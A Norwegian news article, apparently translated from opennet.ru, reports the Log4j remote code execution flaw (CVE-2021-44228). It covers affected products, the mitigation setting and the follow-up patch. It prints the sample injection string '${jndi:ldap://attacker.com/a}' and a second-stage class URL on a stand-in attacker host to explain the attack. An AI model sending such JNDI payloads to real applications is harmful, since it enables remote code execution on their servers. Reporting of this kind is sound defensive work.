Katastrofal sårbarhet i Apache Log4j som påvirker mange Java-prosjekter

I Apache Log4j, et populært rammeverk for organisering av logging i Java-applikasjoner, er det identifisert en kritisk sårbarhet som gjør at vilkårlig kode kan kjøres når en spesielt formatert verdi i «{jndi:URL}»-formatet skrives til loggen. Angrepet kan utføres på Java-applikasjoner som logger verdier mottatt fra eksterne kilder, for eksempel ved visning av problematiske verdier i feilmeldinger.

Det bemerkes at nesten alle prosjekter som bruker rammeverk som Apache Struts, Apache Solr, Apache Druid eller Apache Flink er berørt av problemet, inkludert Steam, Apple iCloud, Minecraft-klienter og -servere. Det forventes at sårbarheten kan føre til en bølge av massive angrep på bedriftsapplikasjoner, som gjentar historien om kritiske sårbarheter i Apache Struts-rammeverket, som ifølge et grovt estimat brukes i webapplikasjoner av 65 % av Fortune 100 selskaper Inkludert forsøk på å skanne nettverket for sårbare systemer.

Problemet forverres av det faktum at en fungerende utnyttelse allerede er publisert, men rettelser for de stabile grenene er ennå ikke kompilert. CVE-identifikatoren er ennå ikke tildelt. Rettelsen er bare inkludert i log4j-2.15.0-rc1 testgrenen. Som en løsning for å blokkere sikkerhetsproblemet, anbefales det å sette log4j2.formatMsgNoLookups-parameteren til true.

Problemet var forårsaket av det faktum at log4j støtter behandling av spesielle masker "{}" i linjeutgang til loggen, der JNDI (Java Naming and Directory Interface)-spørringer kunne utføres. Angrepet koker ned til å sende en streng med erstatningen "${jndi:ldap://attacker.com/a}", ved behandling vil log4j sende en LDAP-forespørsel om banen til Java-klassen til attacker.com-serveren . Banen som returneres av angriperens server (for eksempel http://second-stage.attacker.com/Exploit.class) vil bli lastet og utført i konteksten av den gjeldende prosessen, som lar angriperen kjøre vilkårlig kode på system med rettighetene til gjeldende applikasjon.

Tillegg 1: Sårbarheten har blitt tildelt identifikatoren CVE-2021-44228.

Tillegg 2: En måte å omgå beskyttelsen lagt til ved utgivelsen log4j-2.15.0-rc1 er identifisert. En ny oppdatering, log4j-2.15.0-rc2, er foreslått med mer fullstendig beskyttelse mot sårbarheten. Koden fremhever endringen knyttet til fraværet av en unormal avslutning ved bruk av en feilformatert JNDI-URL.

Kilde: opennet.ru

Legg til en kommentar